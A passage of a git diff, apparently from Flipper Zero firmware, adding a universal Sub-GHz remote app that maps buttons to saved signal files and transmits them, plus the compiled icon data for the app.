app->right_enabled); + } + else + { + app->right_label = extract_filename(string_get_cstr(app->right_file), label_len); + + FURI_LOG_I(TAG, "RIGHT file: %s", string_get_cstr(app->right_file)); + } + + //Repeat process for Ok + if(!flipper_format_read_string(fff_data_file, "OK", app->ok_file)) + { + FURI_LOG_I(TAG, "Could not read OK string"); + + app->file_blank++; + app->ok_label = "N/A"; + app->ok_enabled = 0; + + FURI_LOG_I(TAG, "Ok_Enabled: %d", app->ok_enabled); + } + else + { + app->ok_label = extract_filename(string_get_cstr(app->ok_file), label_len); + + FURI_LOG_I(TAG, "OK file: %s", string_get_cstr(app->ok_file)); + } + + //File definitions are done. + //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. + + //Label Assignment/Check Start + + //assign variables to values within map file + if(!flipper_format_read_string(fff_data_file, "ULABEL", app->up_l)) { + FURI_LOG_I(TAG, "Could not read ULABEL string"); + + //if Up button is disabled, set the label to "N/A"; + if(app->up_enabled == 0) { + app->up_label = "N/A"; + } + } else { + //check if button is disabled, and set label to "N/A" from missing map definition above + if(app->up_enabled == 0) { + app->up_label = "N/A"; + } else { + //set label from map to variable and shrink to fit screen + app->up_label = char_to_str((char*)string_get_cstr(app->up_l), label_len); + } + + FURI_LOG_I(TAG, "UP label: %s", app->up_label); + } + + if(!flipper_format_read_string(fff_data_file, "DLABEL", app->down_l)) { + FURI_LOG_I(TAG, "Could not read DLABEL string"); + + if(app->down_enabled == 0) { + app->down_label = "N/A"; + } + } else { + if(app->down_enabled == 0) { + app->down_label = "N/A"; + } else { + app->down_label = char_to_str((char*)string_get_cstr(app->down_l), label_len); + } + + FURI_LOG_I(TAG, "DOWN label: %s", app->down_label); + } + + if(!flipper_format_read_string(fff_data_file, "LLABEL", app->left_l)) { + FURI_LOG_I(TAG, "Could not read LLABEL string"); + + if(app->left_enabled == 0) { + app->left_label = "N/A"; + } + } else { + if(app->left_enabled == 0) { + app->left_label = "N/A"; + } else { + app->left_label = char_to_str((char*)string_get_cstr(app->left_l), label_len); + } + + FURI_LOG_I(TAG, "LEFT label: %s", app->left_label); + } + + if(!flipper_format_read_string(fff_data_file, "RLABEL", app->right_l)) { + FURI_LOG_I(TAG, "Could not read RLABEL string"); + + if(app->right_enabled == 0) { + app->right_label = "N/A"; + } + } else { + if(app->right_enabled == 0) { + app->right_label = "N/A"; + } else { + app->right_label = char_to_str((char*)string_get_cstr(app->right_l), label_len); + } + + FURI_LOG_I(TAG, "RIGHT label: %s", app->right_label); + } + + if(!flipper_format_read_string(fff_data_file, "OKLABEL", app->ok_l)) { + FURI_LOG_I(TAG, "Could not read OKLABEL string"); + + if(app->ok_enabled == 0) { + app->ok_label = "N/A"; + } + } else { + if(app->ok_enabled == 0) { + app->ok_label = "N/A"; + } else { + app->ok_label = char_to_str((char*)string_get_cstr(app->ok_l), label_len); + } + + FURI_LOG_I(TAG, "OK label: %s", app->ok_label); + } + } + + //Close universal_rf_map + flipper_format_free(fff_data_file); + furi_record_close("storage"); + + //File Existence Check + //Check each file definition if not already set to "N/A" + + //determine if files exist. + //determine whether or not to continue to launch app with missing variables + //if 5 files are missing, throw error + + if(app->file_blank == 5) + { + //trigger invalid file error screen + app->file_result = 2; + } + else + { + //check all files + //reset app->file_blank to redetermine if error needs to be thrown + app->file_blank = 0; + + //if button is still enabled, check that file exists + if(app->up_enabled == 1) + { + string_set(file_name, app->up_file); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open UP file %s", string_get_cstr(file_name)); + + //disable button, and set label to "N/A" + app->up_enabled = 0; + app->up_label = "N/A"; + app->file_blank++; + } + + //close the file + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->down_enabled == 1) + { + string_set(file_name, app->down_file); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open DOWN file %s", string_get_cstr(file_name)); + + app->down_enabled = 0; + app->down_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->left_enabled == 1) + { + string_set(file_name, app->left_file); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open LEFT file %s", string_get_cstr(file_name)); + + app->left_enabled = 0; + app->left_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->right_enabled == 1) + { + string_set(file_name, app->right_file); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open RIGHT file %s", string_get_cstr(file_name)); + + app->right_enabled = 0; + app->right_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->ok_enabled == 1) + { + string_set(file_name, app->ok_file); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) + { + FURI_LOG_I(TAG, "Could not open OK file %s", string_get_cstr(file_name)); + + app->ok_enabled = 0; + app->ok_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->file_blank == 5) + { + app->file_result = 2; + } + else + { + app->file_result = 0; + } + } +} + +static void unirfremix_end_send(UniRFRemix* app) { + app->processing = 0; +} + +static void unirfremix_send_signal( + UniRFRemix* app, + uint32_t frequency, + string_t signal, + string_t protocol) { + for(int x = 1; x <= app->repeat; x++) { + frequency = frequency ? frequency : 433920000; + FURI_LOG_E(TAG, "file to send: %s", string_get_cstr(signal)); + + string_t flipper_format_string; + + if(strcmp(string_get_cstr(protocol), "RAW") == 0) { + string_init_printf(flipper_format_string, "File_name: %s", string_get_cstr(signal)); + } else { + unirfremix_end_send(app); + } + + NotificationApp* notification = furi_record_open("notification"); + + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + stream_clean(stream); + stream_write_cstring(stream, string_get_cstr(flipper_format_string)); + + SubGhzEnvironment* environment = subghz_environment_alloc(); + SubGhzTransmitter* transmitter = + subghz_transmitter_alloc_init(environment, string_get_cstr(protocol)); + subghz_transmitter_deserialize(transmitter, flipper_format); + + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); + furi_hal_subghz_set_frequency_and_path(frequency); + + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); + furi_hal_subghz_set_frequency_and_path(frequency); + + printf("Transmitting at %lu, repeat %d.\r\n", frequency, x); + + furi_hal_power_suppress_charge_enter(); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); + + while(!(furi_hal_subghz_is_async_tx_complete())) { + notification_message(notification, &sequence_blink_magenta_10); + printf("Sending..."); + fflush(stdout); + osDelay(333); + } + + furi_record_close("notification"); + + furi_hal_subghz_stop_async_tx(); + furi_hal_subghz_sleep(); + + furi_hal_power_suppress_charge_exit(); + + flipper_format_free(flipper_format); + subghz_transmitter_free(transmitter); + subghz_environment_free(environment); + } + + unirfremix_end_send(app); +} + +static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { + FURI_LOG_I(TAG, "signal = %s", string_get_cstr(signal)); + + if(strlen(string_get_cstr(signal)) > 12) { + string_t file_name; + string_init(file_name); + + string_t protocol; + string_init(protocol); + + uint32_t frequency_str; + + string_set(file_name, string_get_cstr(signal)); + + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)); + + flipper_format_read_uint32(fff_data_file, "Frequency", (uint32_t*)&frequency_str, 1); + + if(!flipper_format_read_string(fff_data_file, "Protocol", protocol)) { + FURI_LOG_I(TAG, "Could not read Protocol"); + string_set(protocol, "RAW"); + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + + FURI_LOG_I(TAG, "%lu", frequency_str); + + unirfremix_send_signal(app, frequency_str, signal, protocol); + } else if(strlen(string_get_cstr(signal)) < 10) { + unirfremix_end_send(app); + } +} + +static void render_callback(Canvas* canvas, void* ctx) { + UniRFRemix* app = ctx; + furi_check(osMutexAcquire(app->model_mutex, 25) == osOK); + + //setup different canvas settings + if(app->file_result == 1) { + //If map is missing + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config file missing."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please configure"); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "universal_rf_map"); + canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); + } else if(app->file_result == 2) { + //if map has no valid filenames defined + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is incorrect."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please configure"); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "universal_rf_map"); + canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); + } else { + //map found, draw all the things + canvas_clear(canvas); + + //canvas_set_font(canvas, FontPrimary); + //canvas_draw_str(canvas, 0, 10, "U: "); + //canvas_draw_str(canvas, 0, 20, "L: "); + //canvas_draw_str(canvas, 0, 30, "R: "); + //canvas_draw_str(canvas, 0, 40, "D: "); + //canvas_draw_str(canvas, 0, 50, "Ok: "); + + //PNGs are located in assets/icons/UniRFRemix before compiliation + + //Icons for Labels + canvas_draw_icon(canvas, 0, 0, &I_UniRFRemix_LeftAlignedButtons_9x64); + + //Labels + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 12, 10, app->up_label); + canvas_draw_str(canvas, 12, 20, app->down_label); + canvas_draw_str(canvas, 12, 30, app->left_label); + canvas_draw_str(canvas, 12, 40, app->right_label); + canvas_draw_str(canvas, 12, 50, app->ok_label); + + canvas_draw_str_aligned(canvas, 12, 62, AlignLeft, AlignBottom, "Repeat # - Hold to exit"); + + //Status text and indicator + canvas_draw_str_aligned(canvas, 125, 10, AlignRight, AlignBottom, app->send_status); + + switch(app->send_status_c) { + case 0: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Outline_14x14); + break; + case 1: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Left_14x14); + break; + case 2: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Right_14x14); + break; + case 3: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Up_14x14); + break; + case 4: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Down_14x14); + break; + case 5: + canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Center_14x14); + break; + } + + //Repeat indicator + //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); + canvas_draw_icon(canvas, 115, 39, &I_UniRFRemix_Repeat_12x14); + canvas_draw_str_aligned( + canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); + } + + osMutexRelease(app->model_mutex); +} + +static void input_callback(InputEvent* input_event, void* ctx) { + UniRFRemix* app = ctx; + + osMessageQueuePut(app->input_queue, input_event, 0, osWaitForever); +} + +UniRFRemix* unirfremix_alloc() { + UniRFRemix* app = malloc(sizeof(UniRFRemix)); + + app->model_mutex = osMutexNew(NULL); + + app->input_queue = osMessageQueueNew(1, sizeof(InputEvent), NULL); + + app->view_port = view_port_alloc(); + view_port_draw_callback_set(app->view_port, render_callback, app); + view_port_input_callback_set(app->view_port, input_callback, app); + + // Open GUI and register view_port + app->gui = furi_record_open("gui"); + gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); + + return app; +} + +void unirfremix_free(UniRFRemix* app) { + gui_remove_view_port(app->gui, app->view_port); + furi_record_close("gui"); + view_port_free(app->view_port); + + osMessageQueueDelete(app->input_queue); + + osMutexDelete(app->model_mutex); + + free(app); +} + +int32_t unirfremix_app(void* p) { + UNUSED(p); + UniRFRemix* app = unirfremix_alloc(); + + //setup variables before population + string_init(app->up_file); + string_init(app->down_file); + string_init(app->left_file); + string_init(app->right_file); + string_init(app->ok_file); + string_init(app->empty); + + string_init(app->up_l); + string_init(app->down_l); + string_init(app->left_l); + string_init(app->right_l); + string_init(app->ok_l); + + //check map and population variables + unirfremix_cfg_set_check(app); + + bool exit_loop = false; + + if(app->file_result == 0) { + FURI_LOG_I( + TAG, + "U: %s - D: %s - L: %s - R: %s - O: %s ", + string_get_cstr(app->up_file), + string_get_cstr(app->down_file), + string_get_cstr(app->left_file), + string_get_cstr(app->right_file), + string_get_cstr(app->ok_file)); + + //variables to control multiple button presses and status updates + app->send_status = "Idle"; + app->send_status_c = 0; + app->processing = 0; + app->repeat = 1; + app->button = 0; + + //input detect loop start + InputEvent input; + while(1) { + furi_check(osMessageQueueGet(app->input_queue, &input, NULL, osWaitForever) == osOK); + FURI_LOG_I( + TAG, + "key: %s type: %s", + input_get_key_name(input.key), + input_get_type_name(input.type)); + + switch(input.key) { + case InputKeyUp: + if(input.type == InputTypeShort) { + if(app->up_enabled) { + if(app->processing == 0) { + *app->signal = *app->empty; + *app->signal = *app->up_file; + app->button = 3; + app->processing = 1; + } + } + } + break; + + case InputKeyDown: + if(input.type == InputTypeShort) { + if(app->down_enabled) { + if(app->processing == 0) { + *app->signal = *app->empty; + *app->signal = *app->down_file; + app->button = 4; + app->processing = 1; + } + } + } + break; + + case InputKeyRight: + if(input.type == InputTypeShort) { + if(app->right_enabled) { + if(app->processing == 0) { + *app->signal = *app->empty; + *app->signal = *app->right_file; + app->button = 1; + app->processing = 1; + } + } + } + break; + + case InputKeyLeft: + if(input.type == InputTypeShort) { + if(app->left_enabled) { + if(app->processing == 0) { + *app->signal = *app->empty; + *app->signal = *app->left_file; + app->button = 2; + app->processing = 1; + } + } + } + break; + + case InputKeyOk: + if(input.type == InputTypeShort) { + if(app->ok_enabled) { + if(app->processing == 0) { + *app->signal = *app->empty; + *app->signal = *app->ok_file; + app->button = 5; + app->processing = 1; + } + } + } + break; + + case InputKeyBack: + if(input.type == InputTypeShort) { + if(app->processing == 0) { + if(app->repeat < 5) { + app->repeat++; + } else { + app->repeat = 1; + } + } + } else if(input.type == InputTypeLong) { + exit_loop = true; + } + break; + } + + if(app->processing == 0) { + FURI_LOG_I(TAG, "processing 0"); + app->send_status = "Idle"; + app->send_status_c = 0; + app->button = 0; + } else if(app->processing == 1) { + FURI_LOG_I(TAG, "processing 1"); + + app->send_status = "Sending"; + + switch(app->button) { + case 1: + app->send_status_c = 1; + break; + case 2: + app->send_status_c = 2; + break; + case 3: + app->send_status_c = 3; + break; + case 4: + app->send_status_c = 4; + break; + case 5: + app->send_status_c = 5; + break; + } + + app->processing = 2; + + unirfremix_process_signal(app, app->signal); + } + + if(exit_loop == true) { + osMutexRelease(app->model_mutex); + break; + } + + osMutexRelease(app->model_mutex); + view_port_update(app->view_port); + } + } else { + InputEvent input; + while(1) { + furi_check(osMessageQueueGet(app->input_queue, &input, NULL, osWaitForever) == osOK); + FURI_LOG_I( + TAG, + "key: %s type: %s", + input_get_key_name(input.key), + input_get_type_name(input.type)); + + switch(input.key) { + case InputKeyRight: + break; + case InputKeyLeft: + break; + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyOk: + break; + case InputKeyBack: + if(input.type == InputTypeLong) { + exit_loop = true; + } + break; + } + + if(exit_loop == true) { + osMutexRelease(app->model_mutex); + break; + } + + osMutexRelease(app->model_mutex); + view_port_update(app->view_port); + } + } + + // remove & free all stuff created by app + unirfremix_free(app); + + return 0; +} \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index f17cb85ed..17c84779e 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -484,6 +484,14 @@ const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08 const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; +const uint8_t _A_UniRFRemix_14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniRFRemix_14_1[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t _A_UniRFRemix_14_2[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniRFRemix_14_3[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; +const uint8_t _A_UniRFRemix_14_4[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniRFRemix_14_5[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _A_UniRFRemix_14[] = {_A_UniRFRemix_14_0,_A_UniRFRemix_14_1,_A_UniRFRemix_14_2,_A_UniRFRemix_14_3,_A_UniRFRemix_14_4,_A_UniRFRemix_14_5}; + const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; const uint8_t _A_iButton_14_2[] = {0x01,0x00,0x1a,0x00,0x00,0x24,0xc2,0x01,0x2c,0x80,0x48,0xfb,0x11,0x89,0x64,0x1b,0x2d,0x01,0xa5,0xc0,0x24,0xb0,0x08,0x94,0x02,0x13,0x00,0x83,0x85,0x88,}; @@ -679,6 +687,30 @@ const uint8_t* const _I_Drive_112x35[] = {_I_Drive_112x35_0}; const uint8_t _I_Error_62x31_0[] = {0x01,0x00,0x9e,0x00,0x00,0x47,0xc2,0xfe,0x07,0x58,0x66,0x02,0x02,0x07,0x48,0x1c,0x02,0x0c,0x06,0x3c,0x00,0x08,0x61,0x00,0x73,0xa0,0x00,0x86,0x20,0x07,0x39,0x00,0x09,0x01,0x88,0x07,0x70,0xd1,0x09,0x0b,0xe0,0x07,0x38,0x1c,0x62,0x11,0x08,0x80,0x8c,0x8a,0x0f,0x1c,0x82,0x7d,0x20,0x58,0x0b,0xe4,0x02,0x1d,0x0e,0x82,0x6e,0xa0,0xb8,0x0c,0x1c,0x02,0x39,0x07,0x82,0x4e,0xa0,0xb7,0x08,0x04,0x07,0x71,0x03,0x82,0x7e,0xa0,0xb0,0xe8,0x04,0x0b,0xe1,0x01,0x81,0x01,0xc6,0x01,0xc0,0x81,0xf8,0x01,0x42,0x27,0x18,0x04,0xc0,0x1e,0x63,0x71,0x3d,0x0c,0x08,0x3e,0x20,0xa1,0x22,0x94,0x08,0x5e,0x21,0x51,0x0f,0x08,0xbc,0x47,0xe2,0x07,0x29,0x81,0x40,0x49,0xe2,0x07,0x28,0x61,0x80,0x4b,0xe2,0x07,0x28,0x19,0xe0,0xc0,0xe2,0x0d,0x18,0xc0,0x1d,0x00,0x02,0xa8,0x30,0x39,0x2e,0x10,0x0e,0x5e,0x00,0x3b,0x7e,0x00,0xec,0x46,0x10,0x3f,0x80,0xc8,}; const uint8_t* const _I_Error_62x31[] = {_I_Error_62x31_0}; +const uint8_t _I_UniRFRemix_Center_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Center_14x14[] = {_I_UniRFRemix_Center_14x14_0}; + +const uint8_t _I_UniRFRemix_Down_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Down_14x14[] = {_I_UniRFRemix_Down_14x14_0}; + +const uint8_t _I_UniRFRemix_Left_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Left_14x14[] = {_I_UniRFRemix_Left_14x14_0}; + +const uint8_t _I_UniRFRemix_LeftAlignedButtons_9x64_0[] = {0x01,0x00,0x67,0x00,0x00,0x2c,0x42,0x01,0x28,0x80,0x5d,0x20,0x1f,0xa8,0x07,0xf6,0x03,0xff,0x80,0x85,0x64,0x16,0x20,0xf1,0x09,0x88,0x5c,0x43,0x62,0x1f,0x10,0x00,0xf0,0x20,0x1a,0x08,0x07,0x42,0x01,0xe8,0x80,0x7d,0x20,0x1f,0xc8,0x07,0xe2,0x01,0xf0,0x80,0x78,0x02,0x25,0x06,0x80,0x42,0xa0,0x11,0x68,0x04,0xba,0x01,0x5e,0x80,0x5f,0xa0,0x13,0xe8,0x04,0x7a,0x01,0x0e,0x08,0x90,0x00,0x67,0x10,0x0b,0x21,0x2d,0x09,0xa6,0x01,0x1f,0xf4,0x02,0xf8,0x11,0x23,0x19,0xc6,0x07,0x22,0x0d,0x18,0x08,0x0c,0x73,0x10,0x1c,0x84,0x07,0x00,0x1b,0x40,0xa8,0x80,}; +const uint8_t* const _I_UniRFRemix_LeftAlignedButtons_9x64[] = {_I_UniRFRemix_LeftAlignedButtons_9x64_0}; + +const uint8_t _I_UniRFRemix_Outline_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Outline_14x14[] = {_I_UniRFRemix_Outline_14x14_0}; + +const uint8_t _I_UniRFRemix_Repeat_12x14_0[] = {0x00,0x40,0x00,0x60,0x00,0xF8,0x01,0x64,0x02,0x40,0x00,0x04,0x02,0x1F,0x07,0x8E,0x0F,0x04,0x02,0x20,0x00,0x64,0x02,0xF8,0x01,0x60,0x00,0x20,0x00,}; +const uint8_t* const _I_UniRFRemix_Repeat_12x14[] = {_I_UniRFRemix_Repeat_12x14_0}; + +const uint8_t _I_UniRFRemix_Right_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Right_14x14[] = {_I_UniRFRemix_Right_14x14_0}; + +const uint8_t _I_UniRFRemix_Up_14x14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t* const _I_UniRFRemix_Up_14x14[] = {_I_UniRFRemix_Up_14x14_0}; + const uint8_t _I_Updating_32x40_0[] = {0x01,0x00,0x56,0x00,0xc0,0x7f,0xc0,0x03,0xc0,0x01,0x97,0x82,0x07,0x00,0xe0,0x5c,0x00,0x65,0x38,0x01,0x94,0x70,0x06,0x50,0xe0,0x19,0x41,0xc0,0x65,0xff,0x01,0xb4,0x0c,0x02,0x7e,0x08,0x38,0x0c,0x7c,0xd6,0x70,0x18,0xfb,0xfe,0xfc,0x0c,0x18,0xc8,0x78,0x20,0x33,0x81,0x8f,0x8a,0x07,0x3e,0xbe,0x70,0x38,0x71,0xff,0xc7,0x0f,0xc7,0x0f,0xf8,0x71,0xc0,0x76,0x13,0x30,0xd9,0x88,0xcc,0x5f,0x03,0xb2,0x21,0xa1,0x2c,0xc0,0x26,0x82,0x10,0x1f,0x80,0xd1,0x24,0x40,0x04,}; const uint8_t* const _I_Updating_32x40[] = {_I_Updating_32x40_0}; @@ -807,6 +839,7 @@ const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.fr const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; const Icon A_Tetris_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Tetris_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; +const Icon A_UniRFRemix_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_UniRFRemix_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; @@ -870,6 +903,14 @@ const Icon I_Connect_me_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate const Icon I_Connected_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_Connected_62x31}; const Icon I_Drive_112x35 = {.width=112,.height=35,.frame_count=1,.frame_rate=0,.frames=_I_Drive_112x35}; const Icon I_Error_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_Error_62x31}; +const Icon I_UniRFRemix_Center_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Center_14x14}; +const Icon I_UniRFRemix_Down_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Down_14x14}; +const Icon I_UniRFRemix_Left_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Left_14x14}; +const Icon I_UniRFRemix_LeftAlignedButtons_9x64 = {.width=9,.height=64,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_LeftAlignedButtons_9x64}; +const Icon I_UniRFRemix_Outline_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Outline_14x14}; +const Icon I_UniRFRemix_Repeat_12x14 = {.width=12,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Repeat_12x14}; +const Icon I_UniRFRemix_Right_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Right_14x14}; +const Icon I_UniRFRemix_Up_14x14 = {.width=14,.height=14,.frame_count=1,.frame_rate=0,.frames=_I_UniRFRemix_Up_14x14}; const Icon I_Updating_32x40 = {.width=32,.height=40,.frame_count=1,.frame_rate=0,.frames=_I_Updating_32x40}; const Icon I_DolphinMafia_115x62 = {.width=115,.height=62,.frame_count=1,.frame_rate=0,.frames=_I_DolphinMafia_115x62}; const Icon I_DolphinNice_96x59 = {.width=96,.height=59,.frame_count=1,.frame_rate=0,.frames=_I_DolphinNice_96x59}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index e32ac4bb0..665bc7bc4 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -111,6 +111,7 @@ extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; extern const Icon 